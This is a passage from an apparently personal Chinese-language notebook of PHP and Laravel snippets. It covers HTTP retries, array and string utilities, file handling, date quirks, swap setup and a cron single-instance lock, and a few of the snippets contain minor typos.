for ($i=0;$i<$yHeight;$i++){
for ($j=0;$j<$xWeight;$j++){
$positions []=[$j,$i];
$x=ceil(($j+1)/16);
$y=ceil(($i+1)/16);
$y--;
$x--;
$sections[(($y)*$n+$x)][] = [$j,$i];

}
}

for ($b=0;$b<$count;$b++){//每一个字占用的点阵
$str = substr($dot,($b)*32,$byteCount);//第几个字
$dot_string='';
for ($c = 0; $c < $byteCount; $c++){
$dot_string .= sprintf("%08b", ord($str[$c]));
if ($c % 2 == 1) {

for($a=0;$a<strlen($dot_string);$a++){
if($dot_string[$a]){//和平面坐标系关联起来
$sections[$b][intval(16*floor($c/2)+$a)][]=1;
}
}
$dot_string = '';
}
}
}
$spreadSections=[];//每一个字块的的点展开到数组中
foreach ($sections as $section){
$spreadSections = array_merge($spreadSections,$section);
}

return [$positions,$sections,$spreadSections,$count,$sectionCount];

}

function getOutHtml($positions,$sections,$spreadSections,$n){
$str="<html><body><table border='1' width='100%' style='text-align: center'>";
foreach (array_chunk($positions,16*$n) as $row){

$str.=getOutRow($row,$sections,$spreadSections);
}
$str .= "</table></body>
</html>";
return $str;
}

function getOutRow($row,$sections,$spreadSections){

$str="<tr>";
foreach ($row as $td) {
if (!in_array($td,$spreadSections)){//不在平面坐标系中说明这个位置是一个点
$str .= "<td style='color: white;background-color: red;'>O</td>";
}else {
$str .= "<td>O</td>";
}
}
$str.="<tr>";
return $str;
}
https://learnku.com/articles/31882

Guzzle 中间件进行优雅的请求重试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
use GuzzleHttp\Psr7\Request;
use GuzzleHttp\Psr7\Response;
use GuzzleHttp\Client;
use GuzzleHttp\Exception\ConnectException;
use GuzzleHttp\Exception\RequestException;
use GuzzleHttp\Handler\CurlHandler;
use GuzzleHttp\HandlerStack;
use GuzzleHttp\Middleware;

class TestGuzzleRetry
{
/**
* 最大重试次数
*/
const MAX_RETRIES = 5;

/**
* @var Client
*/
protected $client;

/**
* GuzzleRetry constructor.
*/
public function __construct()
{
// 创建 Handler
$handlerStack = HandlerStack::create(new CurlHandler());
// 创建重试中间件,指定决策者为 $this->retryDecider(),指定重试延迟为 $this->retryDelay()
$handlerStack->push(Middleware::retry($this->retryDecider(), $this->retryDelay()));
// 指定 handler
$this->client = new Client(['handler' => $handlerStack]);
}
/**
* retryDecider
* 返回一个匿名函数, 匿名函数若返回false 表示不重试,反之则表示继续重试
* @return Closure
*/
protected function retryDecider()
{
return function (
$retries,
Request $request,
Response $response = null,
RequestException $exception = null
) {
// 超过最大重试次数,不再重试
if ($retries >= self::MAX_RETRIES) {
return false;
}

// 请求失败,继续重试
if ($exception instanceof ConnectException) {
return true;
}

if ($response) {
// 如果请求有响应,但是状态码大于等于500,继续重试(这里根据自己的业务而定)
if ($response->getStatusCode() >= 500) {
return true;
}
}

return false;
};
}

/**
* 返回一个匿名函数,该匿名函数返回下次重试的时间(毫秒)https://learnku.com/articles/31855
* @return Closure
*/
protected function retryDelay()
{
return function ($numberOfRetries) {
return 1000 * $numberOfRetries;
};
}
}

二进制运算符按位与 &

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
爱好: 篮球 ☑ 足球 ☑ 羽毛球 ☑


在数据库中的存储有一下 2 种思路:

1 定义一个字段 hobby tinyint 1 篮球 2 足球 3 羽毛球 4 篮球 + 足球 5 篮球 + 羽毛球 6 篮球 + 羽毛球 7 足球 + 羽毛球 8 篮球 + 足球 + 羽毛球

即:把这三个选项进行排列组合找出每种情况进行存储

这样做可以满足业务的需求,但是如果要是将来再添加一个选项的话,那么将是一场灾难。

2 使用 php 中的 & 运算符 按位与运算符

定义如下

2 篮球 4 足球 8 羽毛球

数据库中的 hobby 字段存储的就是选择后的和,这样在进行编辑或者获取这个用户的爱好的时候只要做一次按位与 & 运算就行了

例子:

如果我选择了篮球 足球 乒乓球 则数据库存的是所有之和 14 在编辑的时候只需要从数据库里的 14 和选项做与 & 运算 大于 0 说明选择了 小于 0 则说明没有选择 $res = 14 & $pingpong; 输出 8 var_dump ($res); https://learnku.com/articles/31874

Composer 安装插件swap 内存不足

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
https://learnku.com/laravel/t/27985


/bin/dd if=/dev/zero of=/var/swap.1 bs=1M count=2048

/sbin/mkswap /var/swap.1

/sbin/swapon /var/swap.1

free -m
mkdir -p /var/_swap_
cd /var/_swap_
# Here, 1M * 2000 ~= 2GB of swap memory
dd if=/dev/zero of=swapfile bs=1M count=2000
mkswap swapfile
swapon swapfile
chmod 600 swapfile
echo "/var/_swap_/swapfile none swap sw 0 0" >> /etc/fstab
cat /proc/meminfo
free -m

crc32 检错数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$checksum = crc32("The quick brown fox jumped over the lazy dog.");
printf("%u\n", $checksum);


//32位和64位支持
function crcKw($num){
$crc = crc32($num);
if($crc & 0x80000000){
$crc ^= 0xffffffff;
$crc += 1;
$crc = -$crc;
}
return $crc;
}

var_export(crcKw($checksum));
2191738434
512553366

下载带有换行符的文件内容

1
2
3
4
5
6
7
8
9
$lists='tFwdQlk3Xs,mSL6m9P19Y,2sF2r7MxBh';

//要用双引号
$string=implode("\r\n\r\n",explode(',',$lists) ) ;
$filename='test.txt';
header("Content-Transfer-Encoding: binary");
header('Content-disposition: attachment; filename='.$filename);

echo $string;

两个字符串的相似度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// 输入拼写错误的单词
$input = 'carrrot';

// 要检查的单词数组
$words = array('apple','pineapple','banana','orange',
'radish','carrot','pea','bean','potato');

// 目前没有找到最短距离
$shortest = -1;

// 遍历单词来找到最接近的
foreach ($words as $word) {

// 计算输入单词与当前单词的距离
$lev = levenshtein($input, $word);

// 检查完全的匹配
if ($lev == 0) {

// 最接近的单词是这个(完全匹配)
$closest = $word;
$shortest = 0;

// 退出循环;我们已经找到一个完全的匹配
break;
}

// 如果此次距离比上次找到的要短
// 或者还没找到接近的单词
if ($lev <= $shortest || $shortest < 0) {
// 设置最接近的匹配以及它的最短距离https://jc91715.top/code-script/4
$closest = $word;
$shortest = $lev;
}
}

echo "Input word: $input\n";
if ($shortest == 0) {
echo "Exact match found: $closest\n";
} else {
echo "Did you mean: $closest?\n";
}

两个文件是否相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
define('READ_LEN', 4096);

if(files_identical('file1.txt', 'file2.txt'))
echo 'files identical';
else
echo 'files not identical';

// pass two file names
// returns TRUE if files are the same, FALSE otherwise
function files_identical($fn1, $fn2) {
if(filetype($fn1) !== filetype($fn2))
return FALSE;

if(filesize($fn1) !== filesize($fn2))
return FALSE;

if(!$fp1 = fopen($fn1, 'rb'))
return FALSE;

if(!$fp2 = fopen($fn2, 'rb')) {
fclose($fp1);
return FALSE;
}

$same = TRUE;
while (!feof($fp1) and !feof($fp2))
if(fread($fp1, READ_LEN) !== fread($fp2, READ_LEN)) {
$same = FALSE;
break;
}

if(feof($fp1) !== feof($fp2))
$same = FALSE;

fclose($fp1);
fclose($fp2);

return $same;
}

大转盘红包概率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function getPrize($prizes) {   
$result=[];
$weights = array_sum(array_column($prizes,'w'));
foreach ($prizes as $k => $prize) {
$randNum = mt_rand(1, $weights);
if ($randNum <= $prize['w']) {
$result = $prize;
break;
} else {
$weights -= $prize['w'];
}
}
return $result;
}
$prizes = array(
array('id'=>1,'name'=>'特等奖','w'=>1),
array('id'=>2,'name'=>'一等奖','w'=>5),
array('id'=>3,'name'=>'二等奖','w'=>10),
array('id'=>4,'name'=>'三等奖','w'=>12),
array('id'=>5,'name'=>'四等奖','w'=>22),
array('id'=>6,'name'=>'没中奖','w'=>50)
);
https://jc91715.top/code-script/14
var_export(getPrize($prizes));
array (
'id' => 4,
'name' => '三等奖',
'w' => 12,
)

实现http协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
使用 stream_socket_server 监听tcp连接,并实现http协议。 访问http://jc91715.top:8080体验
$socket = stream_socket_server("tcp://0.0.0.0:8080", $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)<br />\n";
} else {

echo '正在监听';https://jc91715.top/code-script/16
while ($conn = stream_socket_accept($socket)) {
//$sock_data = fread($conn, 1024);
//echo $sock_data;
$res="HTTP/1.1 200 ok\r\nAccept-Ranges: bytes\r\ncontent-type: text/html; charset=utf-8\r\n\r\nThe local time is ".date('Y-m-d H:i:s')."\r\n";
fwrite($conn,$res);
fclose($conn);
}

}
使用 stream_socket_client 创建一个http 客户端。刷新或者访问 http://jc91715.top:8080/ 测试
$fp = stream_socket_client("tcp://127.0.0.1:8080", $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
fwrite($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n");
while (!feof($fp)) {
echo fgets($fp, 1024);
}
fclose($fp);
}
HTTP/1.1 200 ok
Accept-Ranges: bytes
content-type: text/html; charset=utf-8

The local time is 2019-08-01 20:24:13

排名算法支持重复排名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$arr = [
[
'id'=>1,
'score'=>10,
],
[
'id'=>2,
'score'=>30,
],
[
'id'=>3,
'score'=>50,
],
[
'id'=>4,
'score'=>50,
]
];

array_multisort(array_column($arr,'score'),SORT_ASC,$arr);

$results = array_slice($arr, 0, 3, true);
$length = count($arr);
$resultLength = count($results);

//$resultLength 比 $length小说明$arr 的还有元素,否则它们俩就相等了。然后比较key和key+1的值。极限是所有的人都和第三名相同,自行判断是否需要所有人都胜出,来限制 $resultLength 的长度https://jc91715.top/code-script/13

while($resultLength<$length &&$results[$resultLength-1]['score']==$arr[$resultLength]['score']){
array_push($results,$arr[$resultLength]);
$resultLength = count($results);
}

$ifWinner = false;
$id=1;
if(in_array($id,array_column($results,'id'))){
$ifWinner = true;
}

var_export($results);
echo '<br>';
var_export($ifWinner);

new static 和 new self

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Father {
public static function getSelf() {
return new self();
}

public static function getStatic() {
return new static();
}
}

class Son extends Father {}

echo get_class(Son::getSelf()); // Father
echo get_class(Son::getStatic()); // Son
echo get_class(Father::getSelf()); // Father
echo get_class(Father::getStatic()); // Father
self 返回的是 new self 中关键字 new 所在的类中

static 会返回执行 new static() 的类,比如 Son 执行 get_class(Son::getStatic()) 返回的是 Son, Father 执行 get_class(Father::getStatic()) 返回的是 Father

而在没有继承的情况下,可以认为 new self 和 new static 是返回相同的结果。https://learnku.com/articles/31929

PHP 导出 PDF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
require_once('TCPDF/tcpdf.php'); 
//实例化 https://github.com/tecnickcom/tcpdf
$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
// 设置文档信息
$pdf->SetCreator('Helloweba');
$pdf->SetAuthor('zzy');
$pdf->SetTitle('测试!');
$pdf->SetSubject('TCPDF Tutorial');
$pdf->SetKeywords('TCPDF, PDF, PHP');
// 设置页眉和页脚信息
#$pdf->SetHeaderData('logo.png', 30, '', '',array(0,64,255), array(0,64,128));
$pdf->setFooterData(array(0,64,0), array(0,64,128));
// 设置页眉和页脚字体
$pdf->setHeaderFont(Array('stsongstdlight', '', '10'));
$pdf->setFooterFont(Array('helvetica', '', '8'));
// 设置默认等宽字体
$pdf->SetDefaultMonospacedFont('courier');
// 设置间距
$pdf->SetMargins(15, 27, 15);
$pdf->SetHeaderMargin(5);
$pdf->SetFooterMargin(10);
// 设置分页
$pdf->SetAutoPageBreak(TRUE, 25);
// set image scale factor
$pdf->setImageScale(1.25);
// set default font subsetting mode
$pdf->setFontSubsetting(true);
//设置字体
$pdf->SetFont('stsongstdlight', '', 14);
$pdf->AddPage();

$pdf->Write(0,'折线图',4, 0, 'L', true, 0, false, false, 0);
$pdf->Image('example12.png', 10, 40, 200, 80, 'PNG', '', '', true, 150, '', false, false, 1, false, false, false);
//输出PDF
$pdf->Output('t.pdf', 'I');

redis 本身是单例队列处理的,再多高并发请求都是排队进行。
除了 blpop,还有像 setnx,incrby,decrby,lpop,rpop 等命令,这些你都可以高并发或分布式场景下使用。

strtotime 的困惑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var_dump(date("Y-m-d", strtotime("-1 month", strtotime("2017-03-31"))));
//输出2017-03-03
var_dump(date("Y-m-d", strtotime("+1 month", strtotime("2017-08-31"))));
//输出2017-10-01
var_dump(date("Y-m-d", strtotime("next month", strtotime("2017-01-31"))));
//输出2017-03-03
var_dump(date("Y-m-d", strtotime("last month", strtotime("2017-03-31"))));
//输出2017-03-03
只要涉及到大小月的最后一天,都可能会有这个迷惑。
var_dump(date("Y-m-d", strtotime("last day of -1 month", strtotime("2017-03-31"))));
//输出2017-02-28
var_dump(date("Y-m-d", strtotime("first day of +1 month", strtotime("2017-08-31"))));
//输出2017-09-01
var_dump(date("Y-m-d", strtotime("first day of next month", strtotime("2017-01-31"))));
//输出2017-02-01
var_dump(date("Y-m-d", strtotime("last day of last month", strtotime("2017-03-31"))));
//输出2017-02-28

正则匹配emoji

1
/[\w\x{4e00}-\x{9fa5}]{2,25}/u

合并一个或多个数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
$ar1 = array("color" => array("favorite" => "red"), 5);\
$ar2 = array(10, "color" => array("favorite" => "green", "blue"));\
$result = array_merge_recursive($ar1, $ar2);
[
"color" => [
"favorite" => [
"red",
"green",
],
0 => "blue",
],
0 => 5,
1 => 10,
]
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");
print_r(array_intersect_uassoc($array1, $array2, "strcasecmp"));
带索引检查计算数组的交集,用回调函数比较索引
将一个线性数组转换为一个树,或者多维数组
function array_stack (&$a, $p = '@parent', $c = '@children')
{
$l = $t = array();
foreach ($a AS $key => $val):
if (!$val[$p]) $t[$key] =& $l[$key];
else $l[$val[$p]][$c][$key] =& $l[$key];
$l[$key] = (array)$l[$key] + $val;
endforeach;
return $a = array('tree' => $t, 'leaf' => $l);
}

$node = array();
$node[1] = array('@parent' => 0, 'title' => 'I am node 1.');
$node[2] = array('@parent' => 1, 'title' => 'I am node 2.');
$node[3] = array('@parent' => 2, 'title' => 'I am node 3.');
$node[4] = array('@parent' => 1, 'title' => 'I am node 4.');
$node[5] = array('@parent' => 4, 'title' => 'I am node 5.');
print_r(array_stack($node));
[
"tree" => [
1 => &1 [
"@parent" => 0,
"title" => "I am node 1.",
"@children" => [
2 => &2 [
"@parent" => 1,
"title" => "I am node 2.",
"@children" => [
3 => &3 [
"@parent" => 2,
"title" => "I am node 3.",
],
],
],
4 => &4 [
"@parent" => 1,
"title" => "I am node 4.",
"@children" => [
5 => &5 [
"@parent" => 4,
"title" => "I am node 5.",
],
],
],
],
],
],
"leaf" => [
1 => &1 [],
2 => &2 [],
3 => &3 [],
4 => &4 [],
5 => &5 [],
],
]
二维数组分组

function array_group_by($arr, $key)
{
$grouped = [];
foreach ($arr as $value) {
$grouped[$value[$key]][] = $value;
}

if (func_num_args() > 2) {
$args = func_get_args();
foreach ($grouped as $key => $value) {
$parms = array_merge([$value], array_slice($args, 2, func_num_args()));
$grouped[$key] = call_user_func_array('array_group_by', $parms);
}
}

return $grouped;
}
根据日期获取星期

function get_week($date){ //强制转换日期格式
$date_str=date('Y-m-d',strtotime($date)); //封装成数组
$arr=explode("-", $date_str);
$year=$arr[0]; //月,输出2位整型,不够2位右对齐
$month=sprintf('%02d',$arr[1]);
$day=sprintf('%02d',$arr[2]); //时分秒默认赋值为0;
$hour = $minute = $second = 0; //转换成时间戳
$strap = mktime($hour,$minute,$second,$month,$day,$year); //获取数字型星期几
$number_wk=date("w",$strap); //自定义星期数组
$weekArr=array("星期日","星期一","星期二","星期三","星期四","星期五","星期六"); //获取数字对应的星期
return $weekArr[$number_wk];
}
计算 两个时间差

function timediff($begin_time,$end_time)
{
if($begin_time < $end_time){
$starttime = $begin_time;
$endtime = $end_time;
}else{
$starttime = $end_time;
$endtime = $begin_time;
}
//计算天数
$timediff = $endtime-$starttime;
$days = intval($timediff/86400);
//计算小时数
$remain = $timediff%86400;
$hours = intval($remain/3600);
//计算分钟数
$remain = $remain%3600;
$mins = intval($remain/60);
//计算秒数
$secs = $remain%60;
$res = array("day" => $days,"hour" => $hours,"min" => $mins,"sec" => $secs);
return $res;
}
递归遍历目录

function my_dir($dir) {
$files = array();
$e=mb_detect_encoding($dir,array('GB2312','GBK','UTF-8'));
$dir = mb_convert_encoding($dir,'GBK', $e);
if(@$handle = opendir($dir)) { //注意这里要加一个@,不然会有warning错误提示:)
while(($file = readdir($handle)) !== false) {
if($file != ".." && $file != ".") { //排除根目录;
$filename=$dir."/".$file;
if(is_dir($filename)) { //如果是子文件夹,就进行递归
$files[$file] =my_dir($filename);
} else {
$e=mb_detect_encoding($file,array('GB2312','GBK','UTF-8'));
$file = mb_convert_encoding($file,'GBK', $e);
$files[] = $file;
}
}
}
closedir($handle);
return $files;
}
}
读取文本内容

function auto_read($file, $charset='UTF-8') {
if (!file_exists($file)) {
return false;
} else {
if(filesize($file) <= 0) {
return false;
}
$list = array('GBK', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'ISO-8859-1');
$handle = fopen($file,"r");
$str = fread($handle,filesize($file));
foreach ($list as $item) {
$tmp = mb_convert_encoding($str, $item, $item);
if (md5($tmp) == md5($str)) {
return mb_convert_encoding($str, $charset, $item);
}
}
return false;
}
文件大小计算

function format_size($size)
{
$unit = 'B';
if ($size >= 1024) {
$size /= 1024;
$unit = 'KB';
}
if ($size >= 1024) {
$size /= 1024;
$unit = 'MB';
}
if ($size >= 1024) {
$size /= 1024;
$unit = 'GB';
}
if ($size >= 1024) {
$size /= 1024;
$unit = 'TB';
}
return round($size) . $unit;
}
中文字符串拆分

function split_cn($arr){
$re=array(); //定义接受字符串的数组
for($i=0;$i<mb_strlen($arr);$i++){
if(mb_substr($arr,$i,1,"utf-8")==''){
continue;
}
$res[]=mb_substr($arr,$i,1,"utf-8"); //将单个字符存到数组当中
}
return $res;
}
https://learnku.com/articles/31987

存储货币

1
2
3
4
5
6
7
8
9
public function setPriceAttribute($value)
{
$this->attributes['price] = intval($value * 100);//以分为单位https://learnku.com/articles/31968
}

public function getPriceAttribute($value)
{
return $value / 100;
}

MySQL Blob 类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$filename = 'filename.txt';
$headers = [
'Content-Encoding' => 'UTF-8',
'Content-Type' => 'text/html;charset=UTF-8',//application/x-msdownload
'Content-Disposition' => "attachment; filename=\"$filename\"",
];

response()->stream(function () {
$handle = fopen('php://output', 'w');
fwrite($handle, 'something contents');

// Close the output stream
fclose($handle);
}, 200, $headers)->send();

https://learnku.com/laravel/t/32066

中文分割

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 function split_cn($arr){
$re=array(); //定义接受字符串的数组
for($i=0;$i<mb_strlen($arr);$i++){
if(mb_substr($arr,$i,1,"utf-8")==''){
continue;
}
$res[]=mb_substr($arr,$i,1,"utf-8"); //将单个字符存到数组当中
}
return $res;
}

preg_split('//u','中文', null, PREG_SPLIT_NO_EMPTY)
=> [
"中",
"文",
]
split_cn('中文')
[
"中",
"文",
]
preg_split('/(?<!^)(?!$)/u', $string ); https://www.php.net/manual/zh/function.mb-split.php

文件大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function format_size($size)
{
$unit = 'B';
if ($size >= 1024) {
$size /= 1024;
$unit = 'KB';
}
if ($size >= 1024) {
$size /= 1024;
$unit = 'MB';
}
if ($size >= 1024) {
$size /= 1024;
$unit = 'GB';
}
if ($size >= 1024) {
$size /= 1024;
$unit = 'TB';
}
return round($size) . $unit;
}
/**
* 格式化字节大小
* @param number $size 字节数
* @param string $delimiter 数字和单位分隔符
* @return string 格式化后的带单位的大小
*/
function get_byte($size, $delimiter = '') {
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
for ($i = 0; $size >= 1024 && $i < 5; $i++) $size /= 1024;
return round($size, 2) . $delimiter . $units[$i];
}
https://learnku.com/articles/31985

时间差

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function timediff($begin_time,$end_time)
{
if($begin_time < $end_time){
$starttime = $begin_time;
$endtime = $end_time;
}else{
$starttime = $end_time;
$endtime = $begin_time;
}
//计算天数
$timediff = $endtime-$starttime;
$days = intval($timediff/86400);
//计算小时数
$remain = $timediff%86400;
$hours = intval($remain/3600);
//计算分钟数
$remain = $remain%3600;
$mins = intval($remain/60);
//计算秒数
$secs = $remain%60;
$res = array("day" => $days,"hour" => $hours,"min" => $mins,"sec" => $secs);
return $res;
}

数组分组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function array_group_by($arr, $key)
{
$grouped = [];
foreach ($arr as $value) {
$grouped[$value[$key]][] = $value;
}

if (func_num_args() > 2) {
$args = func_get_args();
foreach ($grouped as $key => $value) {
$parms = array_merge([$value], array_slice($args, 2, func_num_args()));
$grouped[$key] = call_user_func_array('array_group_by', $parms);
}
}

return $grouped;
}

日期获取星期

1
2
3
4
5
6
7
8
9
10
11
12
function get_week($date){    //强制转换日期格式
$date_str=date('Y-m-d',strtotime($date)); //封装成数组
$arr=explode("-", $date_str);
$year=$arr[0]; //月,输出2位整型,不够2位右对齐
$month=sprintf('%02d',$arr[1]);
$day=sprintf('%02d',$arr[2]); //时分秒默认赋值为0;
$hour = $minute = $second = 0; //转换成时间戳
$strap = mktime($hour,$minute,$second,$month,$day,$year); //获取数字型星期几
$number_wk=date("w",$strap); //自定义星期数组
$weekArr=array("星期日","星期一","星期二","星期三","星期四","星期五","星期六"); //获取数字对应的星期
return $weekArr[$number_wk];
}

Laravel 距离排序

1
2
3
4
5
6
7
8
9
10
public function getDistance($lat, $lng)
{
$distance = "ACOS(SIN(( $lat * 3.1415) / 180 ) *SIN((lat * 3.1415) / 180 ) +COS(( $lat* 3.1415) / 180 ) * COS((lat * 3.1415) / 180 ) *COS(( $lng* 3.1415) / 180 - (lng * 3.1415) / 180 ) ) * 6380";
$list = $this->model->select('*')->addSelect(\DB::raw($distance . ' as distance'))->orderBy('distance', 'ASC')->get()->toArray();
dd($list);
}
distance 是计算出来的距离单位是公里
$model = DB::table('table_name')->select('');
$model->addSelect(\DB::raw("acos(cos(" . $lat . "*pi()/180)*cos(lat*pi()/180)*cos(" . $lng . "*pi()/180-lng*pi()/180)+sin(" . $lat . "*pi()/180)*sin(lat * pi()/180)) * 6367000 AS distance"))->orderBy('distance','ASC')->get();
https://learnku.com/articles/32166

二维数组去重

1
2
3
4
5
6
7
8
9
public function assoc_unique(&$arr, $key){
$rAr = array();
for($i=0;$i<count($arr);$i++) {
if(!isset($rAr[$arr[$i][$key]])) {
$rAr[$arr[$i][$key]]=$arr[$i];
}
}
return array_values($rAr);
}

排序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function list_sort_by($list,$field, $sortby='asc') {
if(is_array($list)){
$refer = $resultSet = array();
foreach ($list as $i => $data)
$refer[$i] = &$data[$field];
switch ($sortby) {
case 'asc': // 正向排序
asort($refer);
break;
case 'desc':// 逆向排序
arsort($refer);
break;
case 'nat': // 自然排序https://learnku.com/articles/32011#1c030d
natcasesort($refer);
break;
}
foreach ( $refer as $key=> $val)
$resultSet[] = &$list[$key];
return $resultSet;
}
return false;
}

字符串转换成数组

1
2
3
4
5
6
7
8
9
function strToArray($string) {
$strlen = mb_strlen($string);
while ($strlen) {
$array[] = mb_substr($string, 0, 1, "utf8");
$string = mb_substr($string, 1, $strlen, "utf8");
$strlen = mb_strlen($string);
}
return $array;
}

创建图片上传目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function my_mkdir($Folder){ // 创建图片上传目录和缩略图目录
if(!is_dir($Folder)){
$dir = explode('/',$Folder);
foreach($dir as $v){
if($v){
$d .= $v . '/';
if(!is_dir($d)){
$state = mkdir($d);
if(!$state){
die('在创建目录' . $d . '时出错!');
}
}
}
}
}
}

删除目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* 删除目录及目录下所有文件或删除指定文件
* @param str $path 待删除目录路径
* @param int $delDir 是否删除目录,1或true删除目录,0或false则只删除文件保留目录(包含子目录)
* @return bool 返回删除状态
*/
function del_dir_and_file($path, $delDir = FALSE) {
$handle = opendir($path);
if ($handle) {
while (false !== ( $item = readdir($handle) )) {
if ($item != "." && $item != "..")
is_dir("$path/$item") ? del_dir_and_file("$path/$item", $delDir) : unlink("$path/$item");
}
closedir($handle);
if ($delDir)
return rmdir($path);
}else {
if (file_exists($path)) {
return unlink($path);
} else {
return FALSE;
}
}
}

xml 转为 array

1
2
3
4
5
function xmlToArray($xml) {
//将XML转为array
$array_data = json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA)), true);
return $array_data;
}

递归重组

1
2
3
4
5
6
7
8
function node_merge($attr, $arr) {
foreach($attr as $v){
if (is_array($arr)){
$v['access'] = in_array($v['id'],$arr) ? 1: 0;
}
}
return $attr;
}

获取文件信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function get_file_info($filepath='', $key=''){
//打开文件,r表示以只读方式打开
$handle = fopen($filepath,"r");
//获取文件的统计信息
$fstat = fstat($handle);

fclose($handle);
$fstat['filename'] = basename($filepath);
if(!empty($key)){
return $fstat[$key];
}else{
return $fstat;
}
}

非递归实现查询该目录下所有文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/**
* PHP 非递归实现查询该目录下所有文件
* @param unknown $dir
* @return multitype:|multitype:string
*/
function scanfiles($dir) {
if (! is_dir ( $dir )) return array ();

// 兼容各操作系统
$dir = rtrim ( str_replace ( '\\', '/', $dir ), '/' ) . '/';

// 栈,默认值为传入的目录
$dirs = array ( $dir );

// 放置所有文件的容器
$rt = array ();
do {
// 弹栈
$dir = array_pop ( $dirs );
// 扫描该目录
$tmp = scandir ( $dir );
foreach ( $tmp as $f ) {

// 过滤. ..
if ($f == '.' || $f == '..')
continue;

// 组合当前绝对路径
$path = $dir . $f;

// 如果是目录,压栈。
if (is_dir ( $path )) {
array_push ( $dirs, $path . '/' );
} else if (is_file ( $path )) { // 如果是文件,放入容器中
$rt [] = $path;
}
}
} while ( $dirs ); // 直到栈中没有目录
return $rt;
}

单例cron

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
同时消费队列的进程不得超过1
public function index()
{
$pid = getmypid();
$pidFile = self::PID_FILE;
if (file_exists($pidFile)) {
$pid = file_get_contents($pidFile);
$output = shell_exec("ps aux | grep -v grep | grep {$pid} | grep php | grep index_prod | grep balabala");
if (!empty($output)) {
exit(0);
}
}
file_put_contents($pidFile, $pid);
for ($i = 0; $i < 100000; $i++) {
// bla bla
}
unlink($pidFile);
}
public function index()
{
if ($this->redis->exists(self::PID_KEY)) {
retry_loop:$pid = $this->redis->get(self::PID_KEY);
$output = shell_exec("ps aux | grep -v grep | grep {$pid} | grep php | grep index_prod | grep AsyncBatchMemberImport");
if (!empty($output)) {
exit(0);
} else {
$this->redis->del(self::PID_KEY);
}
}
$ret = $this->redis->set(self::PID_KEY, getmypid(), array('nx'));
if (false === $ret) {
goto retry_loop;
}
for ($i = 0; $i < 100000; $i++) {
// bla bla
}
$this->redis->del(self::PID_KEY);
}
php.ini中disable_functions包含了这个函数 getmypid返回的结果是null
php script.php `cat /dev/urandom | head -n 10 | md5sum | head -c 10`
cat /dev/urandom | head -n 10 | md5sum | head -c 10 返回随机数 https://blog.jiaojie.site/_posts/2017/12/13/another-cron-pid/
public function index($uniqueId = 0)
{
